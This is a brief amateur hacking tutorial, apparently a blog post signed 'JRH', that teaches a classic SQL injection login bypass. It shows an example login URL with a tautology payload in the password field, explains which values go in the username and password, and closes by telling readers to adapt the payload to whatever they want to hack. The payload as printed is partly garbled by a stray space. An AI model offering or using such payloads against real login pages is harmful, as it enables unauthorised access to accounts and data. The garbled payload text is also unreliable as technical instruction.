First Sql Injection

One day you think you want to be a hacker and goto a book shop, then buy a book on hacking. But you know that's a secret here. What's that? You ask JRH. Then JRH answer, "Man Hacking is a practical procedure. How many times you work then you learn. Ha Ha Ha ."

Ok, Now we learn a small sql tricks here. That is:

Example:www.site.com/login.php?username=anything&password=anything'%20O R%201='1 

How it works:

Here 

username:anything or you can use here admin

pass: anything'%20OR%201='1

If you get a luck then you succeed. 

Thank from JRH.

Note:You update this sql as you want to hack. As I think you are a hacker man.